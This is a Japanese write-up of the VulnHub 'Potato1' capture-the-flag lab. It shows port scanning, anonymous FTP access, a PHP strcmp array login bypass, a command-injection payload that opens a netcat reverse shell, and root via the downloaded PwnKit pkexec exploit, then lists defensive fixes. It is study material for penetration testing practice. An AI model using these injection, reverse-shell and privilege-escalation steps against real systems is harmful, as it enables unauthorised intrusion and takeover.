概要
VulnHubnのPotato1のWriteupです。「ハッキング・ラボのつくりかた」と@kk0128さんの記事を参考に解きました。
手順
-
potato1を起動
-
ip a
自分のIPとマスクサイズを確認。今回は192.168.56.101/24。2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000 link/ether 08:00:27:68:26:bd brd ff:ff:ff:ff:ff:ff altname enx0800276826bd inet 192.168.56.101/24 brd 192.168.56.255 scope global dynamic noprefixroute enp0s3 valid_lft 543sec preferred_lft 543sec inet6 fe80::24d8:2202:9eed:954d/64 scope link noprefixroute valid_lft forever preferred_lft forever -
nmap -sn 192.168.56.1-254
ネットワークアドレスとブロードキャストアドレスを除いてpotatoマシンに相当するものがいないか確認。192.168.56.105がpotatoの仮想マシンであることを確認。192.168.56.1と100はVirtualbox関連。Nmap scan report for 192.168.56.1 Host is up (0.0011s latency). Nmap scan report for 192.168.56.100 Host is up (0.0091s latency). Nmap scan report for 192.168.56.101 Host is up (0.00038s latency). Nmap scan report for 192.168.56.105 Host is up (0.0082s latency). -
nmap 192.168.56.105 -p 0-65535
空いているポートがないかすべて確かめる。-pを付けないと有名所しか調べてくれないので注意。80, 22, 2112でhttp, ssh, kipなるサービスが動いていることを確認。PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 2112/tcp open kip -
nmap 192.168.56.105 -p 2112 -sV
kipがよくわからないので詳細を表示。ftpだそう。PORT STATE SERVICE VERSION 2112/tcp open ftp ProFTPD -
nmap 192.168.56.105 -p 2112 -sV --script ftp-anon
ftpには匿名ftpという仕組みがあり、usernameがanonymousならどんなパスワードでもログインさせてくれるものがあるらしい。この仕組みが対象のftpサーバーが提供しているかを確認する。無事できることがわかった。PORT STATE SERVICE VERSION 2112/tcp open ftp ProFTPD | ftp-anon: Anonymous FTP login allowed (FTP code 230) | -rw-r--r-- 1 ftp ftp 901 Aug 2 2020 index.php.bak |_-rw-r--r-- 1 ftp ftp 54 Aug 2 2020 welcome.msg -
ftp -
open 192.168.56.105 -p 2112 -
(username: anonymous, password: aでログイン)
index.php.bak, welcom.msgがいた. (攻撃する際に嬉しいポイント: 不適切な公開設定) -
mget *
全部ダウンロード -
codium index.php.bak welcom.msg
index.php.bakは何かしらのバックアップファイルで、welcom.msgはよくわからないただのファイル
ftpはこれくらいにしてhttpを見に行く -
(ブラウザを起動, アドレスバーにhttp://192.168.56.105を入力)
個人的にこのポテトの写真かなり好き
-
nikto -h http://192.168.56.105
httpサーバーの脆弱性を簡単に教えてくれる。今回は/admin/がinterestingだね、と教えてくれた。+ /admin/: This might be interesting. + /admin/index.php: This might be interesting: has been seen in web logs from an unknown scanner. -
(http://192.168.56.105/adminにアクセス)
ログインフォームが表示された。これがindex.phpのレンダリング結果だそうで、さっき手に入れたindex.php.bakを見るとusername, password認証の仕組みが書いてある。ただusername: admin, password: potatoじゃログインできないので変えられてるみたい。
usernameはadmin固定で、passwordに関しては@kk0128さんの記事に説明が詳しく書かれています。
どうやら文字列ではなく配列がPOSTされるようにすればstrcmpがNULLを返し0と認識されるそうです。(攻撃する際に嬉しいポイント: 適切にNULL判定していない)
if (strcmp($_POST['username'], "admin") == 0 && strcmp($_POST['password'], $pass) == 0) { -
curl -X POST -d "username=admin&password[]=a" http://192.168.56.105/admin/index.php?login=1
POSTしてみると無事welcomeの表示が返った。ブラウザで同じことをする。$curl -X POST -d "username=admin&password[]=a" http://192.168.56.105/admin/index.php?login=1 <html> <head></head> <body> Welcome! </br> Go to the <a href="dashboard.php">dashboard</a> -
(http://192.168.56.105/admin/index.phpでhtmlを編集,
<form type="password" name="password">でname="password[]"に変更, username: admin, password: aでボタン押し下げ)
admin限定ページが表示された。
脆弱エンジニアの日常さんのalpacahackの動画でサーバーからクライアントに送られたhtmlは改ざんし放題だからサーバーはクライアントからもらったhtmlやデータは必ず検証しないといけないって言ってたのを思い出した
Logsを見に行くとどうやらlog_01.txtとかをcatした出力を返しているみたい。https://youtu.be/BeS04cy5ddY?si=SwwwSZ6yipHyhYFr



-
(htmlを編集し、
<input type="radio" name="file" value="log_03.txt">のvalueを../*にすると表示関連のスクリプトが確認できた)



" . shell_exec("cat logs/" . $_POST['file']) . "というコマンドを実行している。catのあとにPOST文字列をくっつけているだけ。;でコマンドを続けられそう。リバースシェルを構築してみる。 (攻撃する際に嬉しいポイント: 入力文字列の未検証) -
nc -nlvp 5555 -
(htmlを編集,
value="log_03.txt; nc 192.168.56.101 5555 -e /bin/sh"にしてボタン押し下げ)
リバースシェル構築が完了。これであのコマンドインジェクション脆弱性が潰されても、rootにshがkillされない限りは安心してpotatoマシンを利用できる。ncでpotato側のシェルにアクセスできるようになった。

$nc -nlvp 5555 listening on [any] 5555 ... connect to [192.168.56.101] from (UNKNOWN) [192.168.56.105] 57280 ls dashboard.php index.php logs -
python3 -c 'import pty; pty.spawn("/bin/bash")'
シェルのアップグレードらしい。ncとshが直接値をやり取りするのでtab補完とかできないしプロンプトも何もないけど、shにpythonを実行させbashを呼び出させることでncとbashのやり取りを仲介してくれるようになった。これでタブ補完とか使える。python3 -c 'import pty; pty.spawn("/bin/bash")' www-data@serv:/var/www/html/admin$ -
(Ctrl-z)
-
stty raw -echo; fg
tabが空白として伝わらないようにしてくれる -
find / -perm -4000 -type f -exec ls -ls {} + 2> /dev/null
スティッキービットが立てられているファイルを探す
どうやら/usr/bin/pkexecが怪しい。www-dataという身分でも実行できる。調べると、このバージョンでは特権昇格ができてしまう脆弱性が含まれているらしい。上手く使えそう。 (攻撃する際に嬉しいポイント: 脆弱性を含む実行ファイルを更新していない。しかもそれにスティッキービットを付加している。)... 32 -rwsr-xr-x 1 root root 31032 Aug 16 2019 /usr/bin/pkexec ... -
(一時的にNATに戻してgithubからPoCをダウンロードする。https://github.com/ly4k/PwnKit)
実行ファイルは用意されている -
python -m http.server 8000
httpサーバーを立ててpotatoマシンから実行ファイルを取れるようにする -
cd /tmp; wget http://192.168.56.101:8000/PwnKit
書き込み権限のあるディレクトリに移動してPoCをダウンロード -
chmod +x PwnKit -
./PwnKit
これでrootになれた。www-data@serv:/tmp$ chmod +x PwnKit www-data@serv:/tmp$ ./PwnKit root@serv:/tmp# -
cd
root.txtを確認。user.txtもwebadminユーザーのホームにあった。これでクリア!!root@serv:/tmp# cd root@serv:~# ls root.txt snap root@serv:~# cat root.txt bGljb3JuZSB1bmlqYW1iaXN0ZSBxdWkgZnVpdCBhdSBib3V0IGTigJl1biBkb3VibGUgYXJjLWVuLWNpZWwuIA==
とりあえずこう攻めろ
侵入段階: とりあえず侵入できそうなサーバーを見つけたらポートスキャン、httpサーバーが動いていたらブラウザで粗を探し総当りやhtml改ざんなどで侵入、ディレクトリトラバーサルやコマンドインジェクションを駆使してリバースシェル構築、ftpサーバーが動いていたら匿名ftpの仕組みがあるか確認し貰えるファイルを全て貰う、sshサーバーが動いていてユーザーとパスワードを入手出来ていたら侵入,リバースシェルを構築
特権昇格段階: PoCが公開されている脆弱性が放置されていたり、余計な実行ファイルに権限が与えられていたり、パスワードハッシュから元パスワードの解析に成功したら、いい感じに実行してrootを奪取
こうすれば安全になるよね
- anonymous ftpを無効化・余計なファイルを公開しない
- クライアントから受け取るhtmlや値について「適切な型か」「悪さ試みる文字列でないか」などを検証する
- 関数の返値を検証する・0かNULLかなどで分岐する
- 脆弱性のある実行ファイルにスティッキービットを付加しない・脆弱性のない最新版にすり替える
- 弱いパスワードを使用しない
- パスワードハッシュを/etc/passwdに保存しない・そこに保存するような古い設定を運用しない (普通はshadowの方に保存され、これはrootでも更新できない安全なものらしい)
- 工事中サイトをわざわざ公開しない
- 余計なコマンドの実行権限を与えない・sudoerは目的用途に応じて適切に設定する
- netcatは
-eが使えないもののみをインストールする
謝辞
@kk0128さんの記事を見ると、ディレクトリトラバーサルで/etc/passwdからwebadminユーザーのパスワードハッシュを取得、johntheripperで元パスワードを解析、成功、ssh接続、sudo権限で実行できるファイルたちとして/bin/niceと/notes/*が登録されていることを確認、sudo /bin/nice /notes/../bin/bashのようにしてbashを起動するとrootになれる。/bin/niceをsudoでrootと同じ権限で実行できる、そして/notes/*のパターンに合致するならどんなプログラムでも実行可能という状況を活用していました。(攻撃する際に嬉しいポイント: 不必要なファイルパーミッションと不適切なワイルドカードの使用)
/bin/nice /notes/../bin/bashや/notes/../bin/bash, sudo /notes/../bin/bashではwebadminが新しくwebadminとしてbashを起動したり、sudoのコマンド本体のパーミッション検査にひっかかるので、正式にsudoで実行できる/bin/niceを介してbashを起動してあげた、ということでした。とても参考になりました。
また、解法が一つには限らないという点も非常に興味深いです。
おまけ
-
adminのパスワードについて
当初、index.phpに対するhydraを用いたパスワードブルートフォースを実行していましたが、
rootになった状態で/var/www/html/admin/index.phpから実際のパスワードを確認しにいくと総当りじゃ絶対に特定できないパスワードでした。
serdesfsefhijosefjtfgyuhjiosefdfthgyjh -
黒画面のまま放置していたpotatoマシンについて
rootを取ってからadduser aaaa sudoでusernameとpasswordを登録すると無事ログインできました。
正面からログインできてindex.phpもなにもかも消し放題という恐ろしい力を手に入れました。 -
ゲストOSとホストOS間でのクリップボードの共有が突然停止する問題が発生しましたが、仮想マシンを一度シャットダウンして、settings>storageからVBoxGuestAdditions.isoをremoveしてもう一度セット、起動したら直りました。なんだったのか...